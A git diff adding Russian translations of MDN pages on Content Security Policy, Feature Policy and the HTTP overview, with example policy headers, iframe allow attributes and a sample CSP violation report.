+<pre class="syntaxbox notranslate">Content-Security-Policy: <em>policy</em></pre>
+
+<p>Где policy - это строка, содержащая директивы, описывающие вашу Content Security Policy.</p>
+
+<h3 id="Создание_политики">Создание политики</h3>
+
+<p>Политика описывается с помощью специальных директив, каждая из которых отвечает за отдельный вид ресурсов или policy area. Политика обязательно должна содержать директиву {{CSP("default-src")}}, которая будет использоваться для тех ресурсов, для которых не будет описано отдельных правил (полный список вы можете найти в описании директивы {{CSP("default-src")}}). Для того чтобы предотвратить исполнение встраиваемых скриптов и заблокировать использование <code>eval()</code>, необходимо определить директиву {{CSP("default-src")}} или {{CSP("script-src")}}. Также использование директивы {{CSP("default-src")}} или {{CSP("style-src")}} позволит ограничить использование встраиваемых стилей как в <code>style</code>-атрибутах, так и в тэгах {{HTMLElement("style")}}.</p>
+
+<h2 id="Примеры_Распространённые_случаи_применения">Примеры: Распространённые случаи применения</h2>
+
+<p>В данном разделе приводятся наиболее распространенные сценарии использования CSP.</p>
+
+<h3 id="Пример_1">Пример 1</h3>
+
+<p>Вы хотите ограничить источники контента только исходным сервером (исключая поддомены)</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'</pre>
+
+<h3 id="Пример_2">Пример 2</h3>
+
+<p>Вы хотите разрешить получение контента с доверенного домена и всех его поддоменов (доверенный домен не обязательно должен совпадать с тем, на котором настраиваются CSP.)</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.trusted.com</pre>
+
+<h3 id="Пример_3">Пример 3</h3>
+
+<p>Вы хотите разрешить пользователям приложения вставлять в создаваемый ими контент картинки из любого источника, но при этом ограничить источники аудио- и видео-файлов списком доверенных провайдеров. Получение скриптов должно происходить только с конкретного сервера, содержащего доверенный код.</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com</pre>
+
+<p>При такой настройке, весь контент доступен для получения только с исходного домена, со следующими исключениями:</p>
+
+<ul>
+ <li>Изображения могут быть получены из любого источника (источник - "*").</li>
+ <li>Другие медиа-файлы доступны только с media1.com и media2.com (но не с их поддоменов).</li>
+ <li>Имсполняемый код доступен только с userscripts.example.com.</li>
+</ul>
+
+<h3 id="Пример_4">Пример 4</h3>
+
+<p>Вы хотите удостовериться, что весь получаемый контент для онлайн-банкинга идет по SSL и атакующий не сможет прослушивать запросы:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src https://onlinebanking.jumbobank.com</pre>
+
+<p>При данной настройке сервер будет позволять загрузку страниц только по HTTPS и только из одного источника - onlinebanking.jumbobank.com.</p>
+
+<h3 id="Пример_5">Пример 5</h3>
+
+<p>Для просмотра писем в почтовом клиенте вы хотите разрешить использование HTML внутри письма, а также позволить загрузку изображений из любых источников, но запретить использование любого JavaScript-кода и прочий потенциально опасный контент.</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self' *.mailsite.com; img-src *</pre>
+
+<p>Заметьте, что в настройке политики отсутствует директива {{CSP("script-src")}}; при такой настройке CSP при загрузке скриптов будут использоваться настройки, определяемые директивой {{CSP("default-src")}}, следовательно все скрипты могут быть загружены только с исходного домена.</p>
+
+<h2 id="Тестирование_настройки_политики">Тестирование настройки политики</h2>
+
+<p>Для облегчения развертывания можно настроить развертывание CSP в режиме report-only. Таким образом, политика не будет ограничивать загрузку, но будет сообщать обо всех нарушениях на указанный в заголовке URI. Кроме того, заголовок report-only может использоваться для тестирования новой политики без полноценного развертывания.</p>
+
+<p>Для определения вашей политики вы можете использовать заголовок {{HTTPHeader("Content-Security-Policy-Report-Only")}} следующим образом:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy-Report-Only: <em>policy</em> </pre>
+
+<p>В случае, если оба заголовка ({{HTTPHeader("Content-Security-Policy-Report-Only")}} и {{HTTPHeader("Content-Security-Policy")}}) были определены одновременно в одном ответе сервера, обе политики будут обработаны. Политики, описанные в заголовке <code>Content-Security-Policy</code> будут применены, в то время как политики, описанные в заголовке <code>Content-Security-Policy-Report-Only</code>, создадут отчеты, но применены не будут.</p>
+
+<h2 id="Настройка_отправки_отчетов">Настройка отправки отчетов</h2>
+
+<p>По умолчанию, отправка отчетов не производится.  Для того чтобы включить отправку отчетов, необходимо в вашей политике определить директиву {{CSP("report-uri")}} и указать как минимум один URI, куда будут направляться отчеты:</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi</pre>
+
+<p>Кроме того, необходимо настроить свой сервер на получение этих отчетов; вы можете хранить и обрабатывать эти отчеты как считаете нужным.</p>
+
+<h2 id="Синтаксис_отчета_о_происшествиях">Синтаксис отчета о происшествиях</h2>
+
+<p>Объект отчета в формате JSON содержит следующие поля:</p>
+
+<dl>
+ <dt><code>blocked-uri</code></dt>
+ <dd>URI ресурса, заблокированного в соответствии с настройками политики. Если заблокированный адрес отличается от адреса страницы, то он будет сокращен до схемы, хоста и порта.</dd>
+</dl>
+
+<dl>
+ <dt><code>disposition</code></dt>
+ <dd>Принимает значения <code>"enforce"</code> или <code>"reporting"</code> в зависимости от того, какой заголовок используется {{HTTPHeader("Content-Security-Policy-Report-Only")}} или <code>Content-Security-Policy</code>.</dd>
+ <dt><code>document-uri</code></dt>
+ <dd>URI страницы, на которой произошло нарушение.</dd>
+ <dt><code>effective-directive</code></dt>
+ <dd>Директива, исполнение которой привело к нарушению.</dd>
+ <dt><code>original-policy</code></dt>
+ <dd>Исходная политика, описываемая в заголовке <code>Content-Security-Policy</code>.</dd>
+ <dt><code>referrer</code></dt>
+ <dd>Реферер, который привел к нарушению.</dd>
+ <dt><code>script-sample</code></dt>
+ <dd>Первые 40 символов встроенного скрипта или стиля, спровоцировавшего нарушение.</dd>
+ <dt><code>status-code</code></dt>
+ <dd>The HTTP status code of the resource on which the global object was instantiated.</dd>
+ <dt><code>violated-directive</code></dt>
+ <dd>Директива, которая была нарушена.</dd>
+</dl>
+
+<h2 id="Пример_отчета_о_происшествии">Пример отчета о происшествии</h2>
+
+<div>Возьмём страницу, расположенную по адресу <code><a class="external" href="http://example.com/signup.html" rel="freelink">http://example.com/signup.html</a></code>. Для неё используется следующая политика, запрещающая загрузку всего кроме CSS-файлов с <code>cdn.example.com</code>.</div>
+
+<div>
+<pre class="syntaxbox notranslate">Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre>
+</div>
+
+<div>HTML-код страницы <code>signup.html</code> выглядит следующим образом:</div>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Sign Up&lt;/title&gt;
+    &lt;link rel="stylesheet" href="css/style.css"&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    ... Content ...
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<div>Можете заметить ошибку? CSS разрешено загружать только с <code>cdn.example.com</code>, в то время как веб-сайт пытается загрузить его используя основной домен (<code>http://example.com</code>). Браузер поддерживающий CSP отправит отчёт о нарушении политики в POST-запросе к <code><a href="http://example.com/_/csp-reports" rel="freelink">http://example.com/_/csp-reports</a></code> в момент обращения к странице (<code>signup.html</code>):</div>
+
+<pre class="notranslate">{
+  "csp-report": {
+    "document-uri": "http://example.com/signup.html",
+    "referrer": "",
+    "blocked-uri": "http://example.com/css/style.css",
+    "violated-directive": "style-src cdn.example.com",
+    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
+  }
+}</pre>
+
+<p>Как видите, отчёт включает полный путь к ресурсу нарушающему политику в <code>blocked-uri</code>. Правда, это не всегда так. К примеру, когда <code>signup.html</code> попытается загрузить CSS с <a href="http://anothercdn.example.com/stylesheet.css"><code>http://anothercdn.example.com/stylesheet.css</code></a>, браузер <em>не </em>будет включать полный путь, а ограничится лишь доменом (<code>http://anothercdn.example.com</code>). Спецификация CSP <a href="http://www.w3.org/TR/CSP/#security-violation-reports">поясняет</a> это странное поведение. В целом, это делается для предотвращения утечек чувствительной информации о перекрестных ресурсах</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp")}}</p>
+
+<p>Для некоторых версий Safari существует специфическая невсовместимость реализации CSP. Если установить заголовок Content Security Policy без заголовка Same Origin, то браузер начнет блокировать и создавать ложно-положительные отчеты о нарушении политики для всего контента, как с запрашеваемого источника, так и из внешних источников.</p>
+
+<p>Смотрите также:</p>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+ <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li>
+ <li>
+  <p><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/http/feature_policy/index.html b/files/ru/web/http/feature_policy/index.html
new file mode 100644
index 0000000000..c97e13a4e5
--- /dev/null
+++ b/files/ru/web/http/feature_policy/index.html
@@ -0,0 +1,149 @@
+---
+title: Feature Policy
+slug: Web/HTTP/Feature_Policy
+translation_of: Web/HTTP/Feature_Policy
+---
+<div>{{SeeCompatTable}}{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Feature Policy позволяет веб-разработчику выборочно включать, отключать и изменять поведение определенных функций и API в браузере. Это похоже на {{Glossary("CSP", "Content Security Policy")}}, но контролирует функции вместо политик безопасности.</span></p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Заголовок Feature Policy предоставляет механизм для ясного указания функций, используемых или не используемых вашим ваб-сайтом. Это позволяет закрепить лучшие практики, даже если кодовая база развивается с течением времени, а также более безопасно включать сторонний контент, ограничивая доступные функции.</p>
+
+<p>С помощью заголовка Feature Policy вы можете включить набор "политик" для браузера, чтобы использовать определенные функции, необходимые веб-сайту. Эти политики определяют какие API сайта могут получать доступ или изменять поведение по умолчанию для определенных функций.</p>
+
+<p>Примеры того, что можно сделать с заголовком Feature Policy:</p>
+
+<ul>
+ <li>Изменить поведение автозапуска видео на мобильных устройствах.</li>
+ <li>Ограничить доступ сайта к камере и микрофону.</li>
+ <li>Разрешить использование API полноэкранного режима в iframe.</li>
+ <li>Блокировать использование устаревших API, например <a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">synchronous XHR</a> and {{domxref("document.write()")}}.</li>
+ <li>Проверять соответствие размера изображений размерам области просмотра.</li>
+</ul>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>Feature Policy allows you to control which origins can use which features, both in the top-level page and in embedded frames. Essentially, you write a policy, which is an allowed list of origins for each feature. For every feature controlled by Feature Policy, the feature is only enabled in the current document or frame if its origin matches the allowed list of origins.</p>
+
+<p>For each policy-controlled feature, the browser maintains a list of origins for which the feature is enabled, known as an allowlist. If you do not specify a policy for a feature, then a default allowlist will be used. The default allowlist is specific to each feature.</p>
+
+<h3 id="Writing_a_policy">Writing a policy</h3>
+
+<p>A policy is described using a set of individual policy directives. A policy directive is a combination of a defined feature name, and an allowlist of origins that can use the feature.</p>
+
+<h3 id="Specifying_your_policy">Specifying your policy</h3>
+
+<p>Feature Policy provides two ways to specify policies to control features:</p>
+
+<ul>
+ <li>The {{httpheader('Feature-Policy')}} HTTP header.</li>
+ <li>The {{HTMLElement('iframe','<code>allow</code>','#Attributes')}} attribute on iframes.</li>
+</ul>
+
+<p>The primary difference between the HTTP header and the <code>allow</code> attribute is that the allow attribute only controls features within an iframe. The header controls features in the response and any embedded content within the page.</p>
+
+<p>For more details see <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a>.</p>
+
+<h2 id="Types_of_policy-controlled_features">Types of policy-controlled features</h2>
+
+<p>Though Feature Policy provides control of multiple features using a consistent syntax, the behavior of policy controlled features varies and depends on several factors.</p>
+
+<p>The general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. Newly introduced features may have an explicit API to signal the state. Existing features that later integrate with Feature Policy will typically use existing mechanisms. Some approaches include:</p>
+
+<ul>
+ <li>Return "permission denied" for JavaScript APIs that require user permission grants.</li>
+ <li>Return <code>false</code> or error from an existing JavaScript API that provides access to feature.</li>
+ <li>Change the default values or options that control the feature behavior.</li>
+</ul>
+
+<p>The current set of policy-controlled features fall into two broad categories:</p>
+
+<ul>
+ <li>Enforcing best practices for good user experiences.</li>
+ <li>Providing granular control over sensitive or powerful features.</li>
+</ul>
+
+<h3 id="Best_practices_for_good_user_experiences">Best practices for good user experiences</h3>
+
+<p>There are several policy-controlled features to help enforce best practices for providing good performance and user experiences.</p>
+
+<p>In most cases, the policy-controlled features represent functionality that when used will negatively impact the user experience. To avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins. Best practices are then enforced by using policies that disable the policy-controlled features. For more details see "Enforcing best practices for good user experiences".</p>
+
+<p>The features include:</p>
+
+<ul>
+ <li>Layout-inducing animations</li>
+ <li>Legacy image formats</li>
+ <li>Oversized images</li>
+ <li>Synchronous scripts</li>
+ <li>Synchronous XMLHTTPRequest</li>
+ <li>Unoptimized images</li>
+ <li>Unsized media</li>
+</ul>
+
+<h3 id="Granular_control_over_certain_features">Granular control over certain features</h3>
+
+<p>The web provides functionality and APIs that may have privacy or security risks if abused. In some cases, you may wish to strictly limit how such functionality is used on a website. There are policy-controlled features to allow functionality to be enabled/disabled for specific origins or frames within a website. Where available, the feature integrates with the Permissions API, or feature-specific mechanisms to check if the feature is available.</p>
+
+<p>The features include:</p>
+
+<ul>
+ <li>Accelerometer</li>
+ <li>Ambient light sensor</li>
+ <li>Autoplay</li>
+ <li>Camera</li>
+ <li>Encrypted media</li>
+ <li>Fullscreen</li>
+ <li>Geolocation</li>
+ <li>Gyroscope</li>
+ <li>Lazyload</li>
+ <li>Microphone</li>
+ <li>Midi</li>
+ <li>PaymentRequest</li>
+ <li>Picture-in-picture</li>
+ <li>Speaker</li>
+ <li>USB</li>
+ <li>VR / XR</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li>See <a href="http://feature-policy-demos.appspot.com/">Feature Policy Demos</a> for example usage of many policies.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Feature Policy','#feature-policy-http-header-field','Feature-Policy')}}</td>
+   <td>{{Spec2('Feature Policy')}}</td>
+   <td>Initial definition. Defines the {{httpheader('Feature-Policy')}} header. Directives are defined in the specs for the features they control. See individual directive pages for details.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.Feature-Policy")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a></li>
+ <li>{{HTTPHeader("Feature-Policy")}} HTTP header</li>
+ <li>{{HTMLElement('iframe','<code>allow</code>','#Attributes')}} attribute on iframes</li>
+ <li><a href="https://developers.google.com/web/updates/2018/06/feature-policy">Introduction to Feature Policy</a></li>
+ <li><a href="https://www.chromestatus.com/features#component%3A%20Blink%3EFeaturePolicy">Feature policies on www.chromestatus.com</a></li>
+ <li><a href="https://chrome.google.com/webstore/detail/feature-policy-tester-dev/pchamnkhkeokbpahnocjaeednpbpacop">Feature-Policy Tester (Chrome Developer Tools extension)</a></li>
+</ul>
diff --git a/files/ru/web/http/feature_policy/using_feature_policy/index.html b/files/ru/web/http/feature_policy/using_feature_policy/index.html
new file mode 100644
index 0000000000..bdf46e1be5
--- /dev/null
+++ b/files/ru/web/http/feature_policy/using_feature_policy/index.html
@@ -0,0 +1,145 @@
+---
+title: Using Feature Policy
+slug: Web/HTTP/Feature_Policy/Using_Feature_Policy
+translation_of: Web/HTTP/Feature_Policy/Using_Feature_Policy
+---
+<div></div>
+
+<div>{{HTTPSidebar}}</div>
+
+<div></div>
+
+<p><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a> позволяет разработчику контролировать доступ страницам сайта к определенной веб функциональности браузера, как страницам высокого уровня, так и встроенным в страницу фреймам. По сути, разработчик определяет политику, которая позволяет использовать определенную функциональность списку разрешенных источников. Каждая функция, контролируемая функциональной политикой, активируется  в определенном документе или фрейме, если его источник происхождения входит в разрешенный список источников.</p>
+
+<p>Для каждой функции, контролируемой функциональной политикой, браузер отслеживает список источников происхождения, для документов которого, эта функция разрешена. Если разработчик не определил политику для функциональности, тогда будет использован список разрешенных источников по умолчанию. Этот список специфичен для каждой функциональности. </p>
+
+<h2 id="Описание_полититки">Описание полититки</h2>
+
+<p>Политика определяется, используя набор индивидуальных установочных директив. Установочная директива - это комбинация имен определяемых функциональностей, со списком источников происхождения, которым разрешается достук к указанной функциональности. Имена функциональностей в политике разделяются точкой с запятой.</p>
+
+<h3 id="список_доступа">список доступа</h3>
+
+<p>Список доступа - это список источников происхождения, которые принимают одно или несколько следующих значений, разделяемых пробелом:</p>
+
+<ul>
+ <li><code>*</code>: Функциональность разрешается в документе и всем вложенным в документ браузерным контекстам (элементам <code>iframes</code>) вне зависимости от источника их происхождения.</li>
+ <li><code>'self'</code>: Функциональность разрешается в документе и всем вложенным в него браузерным контекстам (элементам <code>iframes</code>) общего с этим документом источником происхождения.</li>
+ <li><code>'src'</code>: (только для элемента<code> iframe</code>  с атрибутом <code>allow</code>) Функциональность доступна в этом фрейме, при условии, что загруженный в него документ происходит из того же источника, что и URL в атрибуте {{HTMLElement('iframe','src','#Attributes')}} элемента <code>iframe</code>.</li>
+ <li><code>'none'</code>: Функциональность отключена как для высокоуровневых документов, так и для вложенных в него контекстов (<code>iframes</code>).</li>
+ <li>&lt;origin(s)&gt;: Функциональность доступна для специфичных источников происхождения, указываемых разработчиком (к примеру, https://example.com), раздедяемые между собой пробелом.</li>
+</ul>
+
+<p>Значение <code>*</code> (доступность функциональности для всех источников) или <code>'none'</code> (не доступность функциональности для всех источников), можут использоваться только однократно, в то время как, значения <code>'self'</code> и <code>'src'</code> могут быть использованы с одним или несколькими источниками происхождения.</p>
+
+<p>Каждая функциональность определяется со своим списком разрешений по умолчанию, который содержит одно из значений:</p>
+
+<ul>
+ <li><code>*</code>: Функциональность доступна по умолчанию для высокоуровневых документов и всех вложенных элементах <code> iframes</code>.</li>
+ <li><code>'self'</code>: Функциональность доступна по умолчанию в документах высокого уровня и во вложенных элементах <code>iframes</code> , одного с документом источником происхождения. Функциональность не доступна в кросс-доменных документах элементов <code>iframes.</code></li>
+ <li><code>'none'</code>: Функциональность по умолчанию отключена во всех браузерных контекстах.</li>
+</ul>
+
+<h2 id="Определение_политики">Определение политики</h2>
+
+<p>Функциональная политика предлагает два способа определения политик:</p>
+
+<ul>
+ <li>Заголовок {{httpheader('Feature-Policy')}} HTTP.</li>
+ <li>Атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{htmlelement("iframe")}}.</li>
+</ul>
+
+<p>Основное отличие между заголовком  HTTP и атрибутом <code>allow</code>  в том, что атрибут определяет доступность функциональности для документов, загруженных в <code>iframe</code>. Заголовок же определяет доступность функциональности в документе и вложенных в него контекстах, направляющимся в ответе на HTTP(S) запрос.</p>
+
+<h3 id="Заголовок_HTTP">Заголовок HTTP</h3>
+
+<p>Отправить заголовок функциональной политики можно в ответе на запрос документа (страницы). Значение заголовка переопределяет политику браузера по умолчанию для данной страницы. Он имеет следующую структуру.</p>
+
+<pre class="brush: bash">Feature-Policy: &lt;имя функциональности&gt; &lt;список разрешенных источников&gt;</pre>
+
+<p>К примеру, для блокировки функциональности API геолокации по всему сайту:</p>
+
+<pre class="brush: bash">Feature-Policy: geolocation 'none'</pre>
+
+<p>Несколько функциональностей можно контролировать одновременно, отправив один HTTP заголовок, разделяющий точкой с запятой между собой список установочных директив, или отпраить отдельный заголовок для каждой установочной директивы.</p>
+
+<p>К примеру, ниже директивы идентичны:</p>
+
+<pre class="brush: bash">Feature-Policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *;
+
+Feature-Policy: unsized-media 'none'
+Feature-Policy: geolocation 'self' https://example.com
+Feature-Policy: camera *;
+</pre>
+
+<h3 id="атрибут_allow">атрибут  allow </h3>
+
+<p>Второй способ использования функциональной политики - контроль использования функциональности в документе, загруженного в элемент  <code>iframe</code>. </p>
+
+<p>К примеру, для разрешения использования функциональности <code>fullscreen</code> для документа, загруженного в  <code>iframe</code> используем :</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="fullscreen"&gt;&lt;/iframe&gt;</pre>
+
+<p>Эквивалентная запись:</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="fullscreen 'src'"&gt;&lt;/iframe&gt;</pre>
+
+<p>Ниже, получаем доступ к геолокации пользователя документа, загруженного из указанного источника в <code>&lt;iframe&gt;</code> :</p>
+
+<pre class="brush: html">&lt;iframe src="https://google-developers.appspot.com/demos/..."
+        allow="geolocation https://google-developers.appspot.com"&gt;&lt;/iframe&gt;
+</pre>
+
+<p>Аналогично  HTTP заголовку, несколько функциональностей могут контролироваться одновременно, определяя, разделяемый точкой с запятой список установочных директив.</p>
+
+<p>К примеру, блокируем  <code>&lt;iframe&gt;</code> для использования камеры и микрофона:</p>
+
+<pre class="brush: html">&lt;iframe allow="camera 'none'; microphone 'none'"&gt;
+</pre>
+
+<h2 id="Наследование_политики_для_встроенного_контента">Наследование политики для встроенного контента</h2>
+
+<p>Контексты скриптов (.js) наследуют политику их браузерных контекстов, вне зависимости от их источника происхождения. Это значит, что скрипты документа высокого уровня наследуют политику основного документа..</p>
+
+<p>Все фреймы наследуют политику своих родительских документов. Если фрейм имеет атрибут <code>allow</code> , политики родительского документа и атрибута комбинируются, используя наиболее ограничительную политику. Для включения функциональности для фрейма, его источник происхождения должен входить в списки доступа и родительского документа, и атрибута  <code>allow</code>.</p>
+
+<p>Отключение функциональности в политике является односторонним. Если функциональность не доступна (отключена) для дочернего фрейма его родителем, дочерний фрейм не может это отменить, и ни его потомки.</p>
+
+<h2 id="Применение_новейших_решений_для_наилутшего_пользовательского_впечатления">Применение новейших решений для наилутшего пользовательского впечатления</h2>
+
+<p>Трудно создать веб сайт, который использует новейшие решения и предлагает отличную производительность. Со временем, эволюционируя, сайту может даже труднее обеспечивать наилутшие пользовательские впечатления. Используйте функциональные политики для определения новейших решений, и полагайтесь на современные браузеры в предотвращении негативных изменений.</p>
+
+<p>Существуют несколько функциональных политик, спроектированных для предоставления функциональности, но которые могут негативно влиять на впечатления пользователя. Ими являются:</p>
+
+<ul>
+ <li>Анимации, создающие разметку</li>
+ <li>Неоптимизированные (слабо сжатые) изображения</li>
+ <li>Переразмеренные изображения</li>
+ <li>Синхронные скрипты</li>
+ <li>Синхронный XMLHttpRequest</li>
+ <li>Безразмерные медиа</li>
+</ul>
+
+<p>Для исключения поломки веб контента, значения по умолчанию для таких функциональных политик, позволяют функциональности быть использованной для всех источников происхождения. То есть, списком разрешений по умолчанию является <code>'*'</code> для каждой функциональности. Предотвращение использования неоптимальной функциональности, требует явного определения политики, которая отключает функциональности.</p>
+
+<p>Для нового контента можно начать разработку с политикой, которая отключает все функциональности. Такой подход гаранитрует, что ни одна из функциональностей не включена. При применении политики для существующего контента, тестирование работы наиболее желательный вариант для ожидаемой проверки работоспособности. Это особенно важно для встроенных или сторонних контентов, которых разработчик не может контролировать.</p>
+
+<p>Для включения правоприменения всех новейших решений, определяется политика ниже.</p>
+
+<p>Отправляйте следующий HTTP заголовок:</p>
+
+<pre class="brush: bash">Feature-Policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';</pre>
+
+<p>Используя атрибут <code>allow</code> элемента <code>&lt;iframe&gt;</code>:</p>
+
+<pre class="brush: html">&lt;iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"&gt;&lt;/iframe&gt;</pre>
+
+<h2 id="Смотри_так_же">Смотри так же:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Feature_Policy">Функциональная политика</a></li>
+ <li>Заголовок {{HTTPHeader("Feature-Policy")}}</li>
+ <li>Атрибут {{HTMLElement('iframe','allow','#Attributes')}} элемента <code>iframe</code></li>
+ <li>Заголовок {{HTTPHeader("Content-Security-Policy")}} </li>
+ <li>Заголовок {{HTTPHeader("Referrer-Policy")}}</li>
+ <li><a href="/en-US/docs/Web/Privacy">Конфеденциальность, разрешения и информационная безопасность</a></li>
+</ul>
diff --git a/files/ru/web/http/index.html b/files/ru/web/http/index.html
new file mode 100644
index 0000000000..2cbcb5bc68
--- /dev/null
+++ b/files/ru/web/http/index.html
@@ -0,0 +1,105 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - HTTP
+  - 'l10n:priority'
+  - Веб
+  - Справка
+translation_of: Web/HTTP
+---
+<p>{{HTTPSidebar}}</p>
+
+<p class="summary"><strong>Протокол передачи гипертекста (<dfn>Hypertext Transfer Protocol - HTTP)</dfn></strong> - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB%D1%8B_%D0%BF%D1%80%D0%B8%D0%BA%D0%BB%D0%B0%D0%B4%D0%BD%D0%BE%D0%B3%D0%BE_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D1%8F">прикладной протокол</a> для передачи гипертекстовых документов, таких как HTML. Он создан для связи между веб-браузерами и веб-серверами, хотя в принципе HTTP может использоваться и для других целей. Протокол следует классической <a href="https://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B8%D0%B5%D0%BD%D1%82-%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80">клиент-серверной модели</a>, когда клиент открывает соединение для создания запроса, а затем ждет ответа. HTTP - это <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D1%82%D0%BE%D0%BA%D0%BE%D0%BB_%D0%B1%D0%B5%D0%B7_%D1%81%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D1%81%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D1%8F">протокол без сохранения состояния</a>, то есть сервер не сохраняет никаких данных (состояние) между двумя парами "запрос-ответ". Несмотря на то, что HTTP основан на TCP/IP, он также может использовать любой другой протокол <a href="https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D1%81%D0%BF%D0%BE%D1%80%D1%82%D0%BD%D1%8B%D0%B9_%D1%83%D1%80%D0%BE%D0%B2%D0%B5%D0%BD%D1%8C">транспортного уровня</a> с гарантированной доставкой.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 class="Documentation" id="Documentation" name="Documentation">Учебники</h2>
+
+<p>Узнайте, как использовать HTTP, благодаря учебникам и руководствам.</p>
+
+<dl>
+ <dt><a href="/ru/docs/Web/HTTP/Overview">Обзор HTTP</a></dt>
+ <dd>Основные свойства клиент-серверного протокола: что можно сделать и для чего он предназначен.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Caching">HTTP-кэширование (HTTP Cache)</a></dt>
+ <dd>Кэширование - это важнейший инструмент для повышения производительности веб-сайтов. Эта статья описывает разные виды кэша, а также использование HTTP-заголовков для конфигурации и управления кэшированием.</dd>
+ <dt><a href="/en-US/docs/Web/HTTP/Cookies">HTTP-куки (HTTP cookies)</a></dt>
+ <dd>Как работают куки, можно почитать в <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>. При обслуживании HTTP-запроса сервер может отправить в ответе HTTP-заголовок <code>Set-Cookie</code>. После этого значение куки посылается клиентом с каждым запросом к этому серверу. Делается это в форме заголовка запроса <code>Cookie</code>. Дополнительно можно указать истечение срока куки, а так же ограничения для специфического домена или пути.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Access_control_CORS">Контроль доступа (совместное использование ресурсов между разными источниками, HTTP access control (CORS))</a></dt>
+ <dd><strong>Межсайтовые HTTP-запросы</strong> (кросс-сайтовые) - это HTTP-запросы к ресурсам, находящимся в домене, <strong>отличающемся </strong>от того, с которого производится запрос. Например, HTML-страница, загружаемая с домена А (<code>http://domaina.example</code>), запрашивает изображение с домена Б (<code>http://domainb.foo</code>), используя тег <code>img</code> (<code>http://domainb.foo/image.jpg</code>). Это происходит постоянно в мире веба: страницы загружают различные ресурсы в кросс-сайтовой манере, включая стили (CSS), изображения, скрипты и другие ресурсы. CORS позволяет разработчикам сайтов контролировать межсайтовые запросы.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Эволюция HTTP</a></dt>
+ <dd>Краткое описание изменений, произошедших в HTTP, начиная с самых ранних версий, заканчивая новой HTTP/2 и далее.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Принципы веб-безопасности Mozilla</a></dt>
+ <dd>Сборник советов для помощи в разработке защищённых веб-приложений.</dd>
